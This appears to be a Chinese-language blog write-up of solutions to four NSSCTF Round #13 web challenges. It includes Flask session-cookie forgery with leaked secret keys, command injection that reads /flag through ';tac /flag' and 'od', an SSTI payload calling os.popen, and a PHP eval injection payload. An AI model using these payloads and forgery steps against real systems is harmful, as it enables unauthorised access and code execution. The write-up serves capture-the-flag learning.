[NSSCTF Round #13]部分题目复现

[NSSCTF Round #13]部分题目复现

拖了n久的产物,还有一道TimeTrcer暂时没写没后续补上。

[NSSRound#13 Basic]flask?jwt?

每个功能点进去看下,发现重置密码这里有hint,

1
th3f1askisfunny

PixPin_2025-10-24_20-00-59

Flask 通常指的是 Python 的一个轻量级 Web 框架,用来快速构建网站或接口。
在安全或 CTF 环境中,说“Flask题”“flask相关漏洞”一般是指:

  1. Jinja2 模板注入(SSTI)

Flask 默认使用 Jinja2 作为模板引擎,如果开发者写了诸如:

1
render_template_string("Hello " + request.args.get('name'))

就会导致用户可控输入被直接当成模板渲染,从而造成 Server-Side Template Injection(SSTI)
攻击者可以利用它执行任意 Python 代码(比如 {{ config.__class__.__init__.__globals__['os'].popen('ls').read() }})。

  1. Flask Debug Pin 反序列化 / 控制台利用

如果应用启用了调试模式 app.run(debug=True),那么攻击者可以尝试通过 Debug PIN 获取交互式控制台,直接执行代码。

  1. Session 伪造

Flask 默认使用签名 cookie 存储 session 数据,如果开发者使用默认 app.secret_key 或者泄露了它,就可以伪造任意 session 内容。

  1. Pickle 反序列化

某些 Flask 题会在 session 或上传点中利用 pickle.loads() 反序列化对象,形成命令执行漏洞。

注册完账号登陆一下,有个getflag的按钮

PixPin_2025-10-24_20-05-46

点击提示用户权限不足,基本确定是session伪造,

PixPin_2025-10-24_20-05-55

现在的session:

1
.eJwlzjsOwjAMANC7ZGbwL47Ty1RuYgvWlE6Iu1OJ-S3vU_ZccT7L9l5XPMr-mmUrtZHYESZiCgygnpUnGhp4dWqu0Y21i-CARik3po5IhkxMdtBDSbizTkqMqm14ho-W1VVrAjSdA6lDgoohe0poYMfozFzuyHXG-m-ofH8xey3s.aPtrag.EI5J72Qg_ucyF6Rrh3IoeE4Z3R8

先解码jwt:

1
python flask_session_cookie_manager3.py decode -c '.eJwlzjsOwjAMANC7ZGbwL47Ty1RuYgvWlE6Iu1OJ-S3vU_ZccT7L9l5XPMr-mmUrtZHYESZiCgygnpUnGhp4dWqu0Y21i-CARik3po5IhkxMdtBDSbizTkqMqm14ho-W1VVrAjSdA6lDgoohe0poYMfozFzuyHXG-m-ofH8xey3s.aPtrag.EI5J72Qg_ucyF6Rrh3IoeE4Z3R8' -s 'th3f1askisfunny'

解码后:

1
{'_fresh': True, '_id': '57248be8448603006af53d18180a5a27a6e98369441c072f43d1f6cef30ff1f3a06b6243936d2f1e567cafeac7f5a665f0076dc1290f064813af4e6e191e9333', '_user_id': '2'}

修改一下_user_id属性,猜测admin_user_id1

1
python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '06f231c9009af8bd640aa6c80172276e1653f82e55f8820c4fd4c78e8cc286fb5cde1a80b04b0da6ba3b51ada4097611c50f1c05cfd67346f7e3331a98b1481c', '_user_id': '1'}"

得到伪造好的session:

1
.eJwlzsENwzAIAMBd_O4DbINxlokAg9Jv0ryq7t5KvQnuXfY84zrK9jrveJT9ucpWgLM29AkwNcUWd1BlF8BR6-BAppZSgyhFKnjP1X1IiHsVTiNfgSpg0A2WsmkzQl3aYQ5GdIJEB_JcPFrnHNFaQ51i2AW9_CL3Fed_g-XzBZsFLu0.aPtuug.f8xySJOdowkfZnQI-FV81UNG24s

修改session拿到flag:

PixPin_2025-10-24_20-32-49

[NSSRound#13 Basic]ez_factors

题目描述

原生 Linux 因数爆破工具。flag在根目录

容易看出,2 31 1847是114514的因数,

PixPin_2025-10-24_20-43-09

网址后面/factors/114514使用分号;来执行多个命令,

1
/factors/114514;tac /flag

记得进行url编码。

PixPin_2025-10-24_20-53-44

发现得到的内容只有数字,看来应该是对回显进行了限制,只能回显数字,

这种情况下,我们可以使用od命令来读取文件

od -t d1 /flag 是一个命令行指令,用于以十进制形式显示 /flag 文件的内容。

具体来说-t 参数用于指定展示的数据格式,d1 表示每个数值使用一个字节来显示,即按字节读取。

/flag 是文件的路径,这个指令会读取 /flag 文件的内容,并将其以十进制形式进行展示。

PixPin_2025-10-24_21-01-19

把这些十进制数字依次转成 ASCII 字符再拼起来,就是:

1
NSSC{70240b1e-0bb1-4cc7-84c2-73b51745e53b}

[NSSRound#13 Basic]flask?jwt?(hard)

在拿flag这个界面有一个路由,我们访问一下,

PixPin_2025-10-24_21-07-33

给了上一次登录的时间。

PixPin_2025-10-24_21-08-01
我们用Flask-Unsign对cookie进行解密,
发现刚好cookie里有对应正确的时间,随意修改session查看报错,可以在这查到secret_keyhardgam3_C0u1d_u_f1ndM3????

1
{'_fresh': True, '_id': '57248be8448603006af53d18180a5a27a6e98369441c072f43d1f6cef30ff1f3a06b6243936d2f1e567cafeac7f5a665f0076dc1290f064813af4e6e191e9333', '_user_id': '2', 'time': dateime.datetime(2025, 10, 24, 13, 7, 22, tzifo=datetime.timezone.utc)}

然后利用flask_session_cookie_manager3伪造session,使_user_id的值变成1

1
2
flask_session_cookie_manager3.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh': True, '_id': '57248be8448603006af53d18180a5a27a6e98369441c072f43d1f6cef30ff1f3a06b6243936d2f1e567cafeac7f5a665f0076dc1290f064813af4e6e191e9333', '_user_id': '1'}"

payload:

1
.eJwlzjEOwzAIAMC_MHcAgzHOZyJig9rVaaaqf2-kzrfcB_ZccT5he68rHrC_JmxQWxE7wkRMkRHVs_IkI0OvXpprdGPtIjSwlZQbU0ckYyYlO-qhRbizzpIUVdvwDB8tq6vWRGw6B5WOiSpG7CmhQZ2iMzPckeuM9d8QfH8xeC3r.aPuCRg.2AOscUKFQ3d_NHrcy1hJkUPx7jw

得到flag:

PixPin_2025-10-24_21-43-06

[NSSRound#13 Basic]MyWeb

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);

接受mode参数,参数值为save为保存模式:

  • /tmp/data.json 文件读取原有内容(假设是一个数组格式,如 ['a', 'b'])。
  • 获取 URL 参数 value,例如 ?mode=save&value=hello
  • addslashes() 处理(转义引号等),防止字符串破坏结构。
  • str_replace()] 前插入新值,形成新的“数组”。
  • 再次写回文件。

例如,data,json的内容为:

1
[1,"Leaf",1234]

然后将value值为6666,执行代码后,data.json中的内容就变为:

1
[1,"Leaf",1234,6666]

自然想到可以利用sql注入的思路,在json中注释符为//,所以将value的值变为]//,那么后面的代码就会被注释掉。

1
[1,"Leaf",1234]//,]

再看后续read模式会把/tmp/data.json中内容读取然后带着php代码执行,所以我们可以利用这一点来进行RCE。

以下为read模式过程解释:

mode参数值为read为读取模式

  • 从文件读取内容(如 ['apple', 'banana'])。
  • 使用 eval() 把字符串当作 PHP 代码执行,相当于:
1
$data = ['apple', 'banana'];
  • 然后输出数组内容。

我们还需要注意save模式中addslashes()函数的作用:

addslashes() 是 PHP 的内置函数,用来在字符串中为以下 4 个字符 自动添加反斜杠转义(backslash):

  • 单引号 ' -> \'
  • 双引号 " -> \"
  • 反斜杠 \ -> \\
  • NUL 字符(ASCII 0,"\0") -> \0

总结一下,我们需要先选择save模式,然后通过value传递payload,然后再选择read模式读取达到RCE。

接下来是编写payload的问题:为了能够使我们的payload能执行,我们先要闭合第一个]这里前面已经提到过,通过传递]//,之后\n换行在新的行中写要执行的php代码echo 'cat/flag'//

又因为addslashes()函数会把单引号转义,我们把'替换成反引号

1
]//\n;echo `cat /flag`;//

换行跟空格需要base64编码一下,最后得到的payload如下:

1
?mode=save&value=]//%0a;echo%20`cat%20/flag`;//

最后?mode=read读取到flag

PixPin_2025-11-04_22-05-58

references

[NSSCTF Round #13]web专项赛wp_[nssround#13 basic]timetrcer-CSDN博客

Flask Session Cookie Manager 安装和配置指南-CSDN博客

[NSSRound#13 Basic]ez_factors - Magic水瓶 - 博客园

GitHub - Paradoxis/Flask-Unsign:命令行工具,用于通过猜测密钥来获取、解码、暴力破解和制作 Flask 应用程序的会话 cookie。 — GitHub - Paradoxis/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.

[NSSRound#13 Basic] 刷题记录_[nssround#13 basic]flask?jwt?(hard)-CSDN博客


[NSSCTF Round #13]部分题目复现
http://example.com/2025/11/04/NSSCTF-Round-13-部分题目复现/
作者
everythingis-ok
发布于
2025年11月4日
许可协议